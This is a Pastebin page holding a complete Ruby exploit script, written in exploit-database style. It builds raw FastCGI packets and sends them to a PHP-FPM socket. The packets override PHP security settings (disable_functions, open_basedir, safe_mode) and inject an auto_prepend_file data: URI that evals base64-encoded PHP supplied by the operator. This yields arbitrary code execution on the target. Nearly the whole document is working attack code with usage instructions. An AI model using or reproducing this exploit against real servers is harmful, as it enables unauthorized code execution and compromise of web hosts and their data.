Advertisement
Guest User

PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o

a guest
Nov 21st, 2012
4,922
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 3.05 KB | None | 0 0
  1. #!/usr/bin/ruby
  2. # coding: ASCII-8BIT
  3.  
  4. # Exploit Title: PHP-FPM universal SSRF bypass safe_mode/disabled_functions/open_basedir/etc
  5. # redefine any php.ini values, not specified in php_admin_value
  6. # SSRF - Server Side Request Forgery
  7. # additional info about techinuque: http://www.slideshare.net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities
  8. # Google Dork: not relevant
  9. # Date: 21/11/12
  10. # Exploit Author: @ONsec_lab http://lab.onsec.ru
  11. # Vendor Homepage: php.net fastcgi.com
  12. # Software Link: php-fpm.org
  13. # Version: all
  14. # Tested on: all
  15. # CVE : not a vuln (bug by design)
  16.  
  17. require 'socket'
  18. require 'base64'
  19.  
  20.  
  21. class FCGIRecord
  22.  
  23.   class BeginRequest < FCGIRecord
  24.     def initialize( id)
  25.       @id = id
  26.       @type = 1
  27.       @data = "\x00\x01\x00\x00\x00\x00\x00\x00"
  28.     end
  29.   end
  30.  
  31.   class Params < FCGIRecord
  32.     def initialize( id, params = {})
  33.       @id = id
  34.       @type = 4
  35.       @data = ""
  36.       params.each do |k,v|
  37.         @data << [ k.to_s.length, (1<<31) | v.to_s.length ].pack( "CN")
  38.         @data << k.to_s
  39.         @data << v.to_s
  40.       end
  41.     end
  42.   end
  43.  
  44.  
  45.   def initialize( id, type)
  46.     @id = id
  47.     @type = type
  48.     @data = ""
  49.   end
  50.  
  51.   def to_s
  52.     packet = "\x01%c%c%c%c%c%c\x00" % [
  53.       type,
  54.       id / 256, id % 256,
  55.       data.length / 256, data.length % 256,
  56.       data.length % 8
  57.     ]
  58.     packet << data
  59.     packet << "\x00" * (data.length % 8)
  60.   end
  61.  
  62.   private
  63.   attr_reader :id, :type, :data
  64. end
  65.  
  66.  
  67. if ARGV.count < 3 or ARGV.count > 4
  68.   STDERR.write "Usage: #{$0} ( -u /path/to/socket | addr port ) [ /path/to/any/exists/file.php ] 'some php code to execute'\n"
  69.   exit 1
  70. end
  71.  
  72.  
  73. script = ARGV.count == 4 ? ARGV[2] : "/usr/share/php/PEAR.php"
  74. command = Base64.encode64(ARGV.last.strip).strip.gsub( '=', '%3d').gsub( '/', '%2f')
  75.  
  76. packet = ""
  77. packet << FCGIRecord::BeginRequest.new( 1).to_s
  78. packet << FCGIRecord::Params.new( 1,
  79.                                   "SERVER_NAME" => "localhost",
  80.                                   "REQUEST_METHOD" => "GET",
  81.                                   "SCRIPT_FILENAME" => script,
  82.                                   "PHP_ADMIN_VALUE" => [
  83.                                       "allow_url_fopen=On",
  84.                                       "allow_url_include=On",
  85.                                       "disable_functions=Off",
  86.                                       "open_basedir=Off",
  87.                                       "display_errors=On",
  88.                                       "safe_mode=Off",
  89.                                       "short_open_tag=On",
  90.                                       "auto_prepend_file=data:,%3c%3f%20eval%28base64_decode%28%22#{command}%22%29%29%3f%3e"
  91.                                       ].join( "\n")
  92.                                   ).to_s
  93. packet << FCGIRecord::Params.new( 1).to_s
  94. packet << FCGIRecord.new( 1, 5).to_s
  95.  
  96. #print packet.split('').map{ |c| '\x%02x' % c[0].ord }.join
  97.  
  98.  
  99. fcgisock = ARGV[0] == '-u' ? UNIXSocket.new( ARGV[1]) : TCPSocket.new( ARGV[0], ARGV[1])
  100. fcgisock.write( packet)
  101.  
  102. puts fcgisock.read
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement